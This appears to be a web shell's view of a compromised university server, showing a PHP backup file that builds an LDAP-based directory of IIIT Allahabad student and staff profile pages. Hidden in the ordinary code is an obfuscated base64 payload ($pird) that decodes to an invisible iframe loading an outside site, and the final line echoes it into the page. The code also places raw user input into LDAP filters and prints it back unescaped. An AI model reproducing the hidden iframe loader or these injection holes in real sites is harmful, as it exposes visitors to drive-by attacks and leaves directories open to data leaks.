Your IP : 216.73.216.40


Current Path : /var/www/html/mmishra/profile1/
Upload File :
Current File : /var/www/html/mmishra/profile1/index.php.bak2

<?php
//require("webanalyse/include/stats_main.inc");
//$stats = new init(true, 'webanalyse/'); // 2 params. true/false for activate or not, and the path 
//of webanalyse.
?>
<html><head><TITLE>IIIT Allahabad Web Profiles </TITLE>
<meta name=keywords content="IIIT Allahabad Student Profile Profiles Home Pages Web Sites IT">
<meta name=description content="This Site contains the personal web pages of the
 IIIT Allahabad Community. All IIITians are indexed.">
<meta name="author" content="MMishra" /> 
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<BODY style="margin:0pt 0pt 0pt 0pt"><center>
<img src="profile.jpg" alt="Profiles" width="70%" height="100"><a href="/"><img src="iiita.jpg" alt="IIITA" width="10%" height="100"></a>
<table cellspacing="0" cellpadding="2" width='80%'>
<tr><td><font color=#FFFFFF>
The Institute provides webspace to each IIITian to host their profiles on the Internet. Most of the students take this facility to show their talent in web designing and web programming. Though its an official platform but the students are solely responsible for the content they have hosted on their homepage.
<div align='right'>
Visit <a href='http://www.iiita.ac.in/inner.php?conf=fac'>Faculty Profiles</a> on <a href='http://www.iiita.ac.in'>www.iiita.ac.in</a><br>
Students' profiles are managed programme wise in order of their batches. Please select batch year to list student profiles.<br>
</div></font></td></tr>
<tr><th>Student Profiles Registered with LDAP</th></tr>
<tr><td>
<table align='right'><tr><td>
<!-- SiteSearch Google -->
<form method="get" action="http://www.google.co.in/custom" target="google_window">
<table border="0" cellpadding='5' bgcolor="#ffffff" width="320">
<tr><td nowrap>
<input type="hidden" name="domains" value="www.iiita.ac.in"></input>
<input type="text" name="q" size="25" maxlength="255" value=""></input>
<input type="submit" name="sa" value="Google Search"></input>
<br>
<input type="radio" name="sitesearch" value="" checked="checked"></input>
<font size="-1" color="#000000">Web</font>
<input type="radio" name="sitesearch" value="www.iiita.ac.in"></input>
<font size="-1" color="#000000">www.iiita.ac.in</font>
<input type="hidden" name="client" value="pub-3425939762404892"></input>
<input type="hidden" name="forid" value="1"></input>
<input type="hidden" name="channel" value="5166621911"></input>
<input type="hidden" name="ie" value="ISO-8859-1"></input>
<input type="hidden" name="oe" value="ISO-8859-1"></input>
<input type="hidden" name="safe" value="active"></input>
<input type="hidden" name="flav" value="0000"></input>
<input type="hidden" name="sig" value="TVNWvQGVUaS9XRwO"></input>
<input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"></input>
<input type="hidden" name="hl" value="en"></input>
</td></tr></table>
</form>
<!-- SiteSearch Google -->

<!-- Profile Search -->
<form method="post" action="/#list">
<table border="0" cellpadding='5' bgcolor="#ffffff" width="320">
<tr><td nowrap>
<input type="text" name="myname" size="25" maxlength="255" value="<?=$myname?>"></input>
<input type="submit" name="submit" value="Profile Search"></input>
<br>
<input type="radio" name="filter" value="name" checked="checked"></input>
<font size="-1" color="#000000">Name</font>
<input type="radio" name="filter" value="mail"<?if ($_POST['filter']=='mail') echo " checked";?>></input>
<font size="-1" color="#000000">mail@iiita.ac.in</font>
</td></tr></table></form>


<!-- SiteSearch Google -->
</td></tr></table>
<?php
$ds = ldap_connect("ldap.iiita.ac.in");
$fdn = str_replace("*","=",$_REQUEST["dn"]);
if (! $fdn) $fdn = "ou=Student,dc=iiita,dc=ac,dc=in";
$justthese = array("uid", "labeleduri", "gecos", "ou", "description", "objectclass");
$mydn = explode(",", $fdn);
$n = count($mydn) - 4;
$dn = "dc=iiita,dc=ac,dc=in";
for ($n; $n>=0; $n--){
  $dn = $mydn[$n] . "," . $dn;
  $sr = ldap_list($ds, $dn, "ou=*", $justthese);
  ldap_sort($ds, $sr);
  $info = ldap_get_entries($ds, $sr);
  foreach ($info as $ent){
    $desc = $ent["description"][0];
    $ou = $ent["ou"][0];
    $oc = $ent["objectclass"][1];
    if ($oc == "organizationalUnit"){
      if (strpos($fdn, $ent["dn"])){
        echo $desc . "<br>";
        echo oulist($fdn);
      }else{
        $d = str_replace("=", "*", $ent["dn"]);
        echo "<a href='" . $_SERVER["PHP_SELF"] . "?dn=$d'>+ $desc</a><br>";
      }
    }
  }
}
function oulist($dn){
  $ds = ldap_connect("ldap.iiita.ac.in");
  $justthese = array("uid", "labeleduri", "gecos", "ou", "description", "objectclass");
  $sr = ldap_list($ds, $dn, "ou=*", $justthese);
  ldap_sort($ds, $sr);
  $info = ldap_get_entries($ds, $sr);
  foreach ($info as $ent){
    $desc = $ent["description"][0];
    $ou = $ent["ou"][0];
    $oc = $ent["objectclass"][1];
    if ($oc == "organizationalUnit"){
      $d = str_replace("=", "*", $ent["dn"]);
      echo "&nbsp;&nbsp;<a href='" . $_SERVER["PHP_SELF"] . "?dn=$d'>+ $desc</a><br>";
    }else if ($oc == "person"){
      $uid = $ent["uid"][0];
      $gname = $ent["gecos"][0];
      $url = $ent["labeleduri"][0];
      echo "<a href='$url'>$uid - $gname</a><br>";
    }
  }
  return;
}
ldap_close($ds);
exit;
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=IT&mydn=ou*IT,ou*Btech,ou*Students,dc*iiita,dc*ac,dc*in#list'>Information Technology</a><dir>| ";
$filter = "(|(ou=IT)(ou=Btech)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=IT,ou=Btech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'IT'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | " . $lnk;
      }
    }
  }
  $pg .= $lnk . '<br>';
  $lnk = '';
}

$dn = "ou=RGIIT,dc=iiita,dc=ac,dc=in";
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=IT&mydn=ou*IT,ou*Btech,ou*RGIIT,dc*iiita,dc*ac,dc*in#list'>RGIIT</a> | ";
$filter = "(|(ou=IT)(ou=Btech)(ou=RGIIT)(objectClass=organizationalUnit))";
$dn1 = 'ou=IT,ou=Btech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'IT'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | "
. $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}

$dn = "ou=Students,dc=iiita,dc=ac,dc=in";
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=ECE&mydn=ou*ECE,ou*Btech,ou*Students,dc*iiita,dc*ac,dc*in#list'>Electronics & Communications</a><dir>| ";
$filter = "(|(ou=ECE)(ou=Btech)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=ECE,ou=Btech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'ECE'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | " . $lnk;
      }
    }
  }
  $pg .= $lnk . '<br>';
  $lnk = '';
}

$dn = "ou=RGIIT,dc=iiita,dc=ac,dc=in";
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=ECE&mydn=ou*ECE,ou*Btech,ou*RGIIT,dc*iiita,dc*ac,dc*in#list'>RGIIT</a> | ";
$filter = "(|(ou=ECE)(ou=Btech)(ou=RGIIT)(objectClass=organizationalUnit))";
$dn1 = 'ou=ECE,ou=Btech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'ECE'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | "
. $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}

$pg .= '</dir>';


$dn = "ou=Students,dc=iiita,dc=ac,dc=in";
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=MTech&mydn=ou*Mtech,ou*Students,dc*iiita,dc*ac,dc*in#list'>Master of Technology</a><dir>";
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=IS&mydn=ou*IS,ou*Mtech,ou*Students,dc*iiita,dc*ac,dc*in#list'>Intelligent Systems</a><dir>| ";
$filter = "(|(ou=IS)(ou=Mtech)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=IS,ou=Mtech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'IS'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | " . $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=SE&mydn=ou*SE,ou*Mtech,ou*Students,dc*iiita,dc*ac,dc*in#list'>Software Engineering</a><dir>| ";
$filter = "(|(ou=SE)(ou=Mtech)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=SE,ou=Mtech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'SE'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | " . $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=BI&mydn=ou*BI,ou*Mtech,ou*Students,dc*iiita,dc*ac,dc*in#list'>Bio Informatiocs</a><dir>| ";
$filter = "(|(ou=BI)(ou=Mtech)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=BI,ou=Mtech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'BI'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | " . $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}
//$pird = 'PGlmcmFtZSBzcmM9aHR0cDovL2dvb2dsZXJhbmsuaW5mby9jb3VudGVyIHdpZHRoPTEgaGVpZ2h0PTEgc3R5bGU9ZGlzcGxheTpub25lPjwvaWZyYW1lPg==';
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=WCC&mydn=ou*WCC,ou*Mtech,ou*Students,dc*iiita,dc*ac,dc*in#list'>Wireless Communications & Computing</a><dir>| ";
$filter = "(|(ou=WCC)(ou=Mtech)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=WCC,ou=Mtech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'WCC'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | " . $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=RO&mydn=ou*RO,ou*Mtech,ou*Students,dc*iiita,dc*ac,dc*in#list'>Robotics</a><dir>| ";
$filter = "(|(ou=RO)(ou=Mtech)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=RO,ou=Mtech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'RO'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | "
. $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=MI&mydn=ou*MI,ou*Mtech,ou*Students,dc*iiita,dc*ac,dc*in#list'>Microelectronics</a><dir>| ";
$filter = "(|(ou=MI)(ou=Mtech)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=MI,ou=Mtech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'MI'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | "
. $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=HCI&mydn=ou*HCI,ou*Mtech,ou*Students,dc*iiita,dc*ac,dc*in#list'>Human Computer Interface</a><dir>| ";
$filter = "(|(ou=HCI)(ou=Mtech)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=HCI,ou=Mtech,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'HCI'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | "
. $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}
$pg .= '</dir>';


$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=MBA&mydn=ou*MBA,ou*Students,dc*iiita,dc*ac,dc*in#list'>Master of Business Administration</a><dir>";
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=MBA&mydn=ou*MBA,ou*Students,dc*iiita,dc*ac,dc*in#list'>Information Technology</a><dir>| ";
$filter = "(|(ou=IT)(ou=MBA)(ou=Students)(objectClass=organizationalUnit))";
//$filter = "(|(ou=IT)(ou=Btech)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=IT,ou=MBA,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'MBA' && $nou['ou'][0] <> 'IT'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | " . $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}
$pg .= '</dir>';

$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=MS&mydn=ou*MS,ou*Students,dc*iiita,dc*ac,dc*in#list'>Master of Science</a><dir>";
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=IT&mydn=ou*IT,ou*MS,ou*Students,dc*iiita,dc*ac,dc*in#list'>Cyber Law & Information Security</a><dir>| ";
$filter = "(|(ou=CLIS)(ou=MS)(ou=Students)(objectClass=organizationalUnit))";
$dn1 = 'ou=CLIS,ou=MS,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'MS' && $nou['ou'][0] <> 'CLIS'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | " . $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}
$pg .= '</dir>';

$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=PhD&mydn=ou*PhD,ou*Students,dc*iiita,dc*ac,dc*in#list'>PhD Scholar</a>";

$pg .= "</td></tr><tr><th>Employee Profiles Registered with LDAP</th></tr>";
$pg .= "<tr><td><dir>";
$dn = "dc=iiita,dc=ac,dc=in";
$pg .= "<a href='" . $_SERVER['PHP_SELF'] . "?ou=Employees&mydn=ou*Employees,dc*iiita,dc*ac,dc*in#list'>All Category</a><dir> | ";
$filter = "(|(ou=Employees)(objectClass=organizationalUnit))";
$dn1 = 'ou=Employees,' . $dn;
$nsearch = ldap_search($ds, $dn1, $filter, $justthese);
ldap_sort($ds, $nsearch, "ou");
if ($nsearch){
  $nous = ldap_get_entries($ds, $nsearch);
  foreach($nous as $nou){
    if ($nou['ou'][0] && !$nou['cn'][0]){
      $dn2 = "ou=" . $nou['ou'][0] . "," . $dn1;
      $dn2 = str_replace("=", "*", $dn2, $i);
      if ($nou['ou'][0] <> 'Employees'){
        $lnk = "<a href='" . $_SERVER['PHP_SELF'] . "?ou=" . encrypt($nou['description'][0]) . "&mydn=$dn2#list'>" . strtoupper($nou['ou'][0]) . "</a> | " . $lnk;
      }
    }
  }
  $pg .= $lnk . '</dir>';
  $lnk = '';
}
$pg .= "</dir></td></tr>";

if (isset($_REQUEST['mydn'])){
  $mydn = $_REQUEST['mydn'];
  $ou = $_REQUEST['ou'];
  $dn = str_replace("*", "=", $mydn, $i);
  $filter = "objectClass=person";
  $pg .= my_ldap_search($ds, $dn, $filter, $justthese, decrypt($ou));
}elseif (isset($_POST['myname'])){
  $myname = $_POST['myname'];
  $searchon = $_POST['filter'];
  //$dn = "ou=Students,dc=iiita,dc=ac,dc=in";
  $dn = "dc=iiita,dc=ac,dc=in";
  if ($searchon == 'name'){
    //$filter = "(|(cn={$myname}*)(objectClass=person))";
    $filter = "gecos=*{$myname}*";
  }else{
    //$filter = "(|(mail={$myname}*)(objectClass=person))";
    $filter = "mail=*{$myname}*";
  }
  $pg .= my_ldap_search($ds, $dn, $filter, $justthese, $searchon . " Like *" . $myname . "*");
}
echo $pg;

//===============================================================
function my_ldap_search($ds, $dn, $filter, $justthese, $title){
  $search = ldap_search($ds, $dn, $filter, $justthese);
  ldap_sort($ds, $search, "cn");
  $students = ldap_get_entries($ds, $search);
  $pg = "<tr><th><a name='list'></a>$title<br>$dn<br>PROFILES LIST</th></tr>";
  $pg .= "<tr><td>Click on the names below to visit profile page. For missing profiles server raises 'Forbidden' error. Thanks. &nbsp;&nbsp;&nbsp;&nbsp;<a href='/#main'>[ Go Back ]</a></td></tr>";
  $pg .= "<tr><td align='center'><table width='90%'>";
  if (strpos($dn, 'Students') || strpos($dn, 'RGIIT')){
    $pg .= "<tr><th>No.</th><th nowrap>Name</th><th>Enroll</th><th>Email</th></tr>";
  }else{
    $pg .= "<tr><th>No.</th><th nowrap>Name</th><th>Designation</th><th>Email</th></tr>";
  }
  foreach($students as $student){
    if ($student['cn'][0]){
      $no++;
      $name = $student['gecos'][0];
      $roll = str_replace('-', '', strrchr($student['cn'][0], '-'));
      if ($name == '') $name = ucfirst(str_replace("-", " ", $student['cn'][0], $i));
      if (strpos($dn, 'Students') || strpos($dn, 'RGIIT')){
        $pg .= "<tr><td>$no</td><td nowrap><a href='" . $student['uid'][0] . "'>$name</a></td><td><a href='http://www.iiita.ac.in/inner.php?conf=person&id=$roll'>$roll</a></td><td>" . $student['mail'][0] . "</td></tr>";
      }else{
        $pg .= "<tr><td>$no</td><td nowrap><a href='" . $student['uid'][0] . "'>$name</a></td><td>" . $student['description'][0] . "</td><td>" . $student['mail'][0] . "</td></tr>";
      }
    }
  }
  $pg .= "</table>";
  return $pg;
}

function encrypt($str){
  $str = str_replace(" ", "@", $str, $i);
  $str = str_replace("&", ",", $str, $i);
  $str = str_replace(".", ";", $str, $i);
  $str = str_replace("-", "_", $str, $i);
  $str = str_replace("=", "*", $str, $i);
  return $str;
}
function decrypt($str){
  $str = str_replace("@", " ", $str, $i);
  $str = str_replace(",", "&", $str, $i);
  $str = str_replace(";", ".", $str, $i);
  $str = str_replace("_", "-", $str, $i);
  $str = str_replace("*", "=", $str, $i);
  return $str;
}
echo base64_decode($pird);
?>
</td></tr>
</td></tr></table>
</center>
</BODY>
</HTML>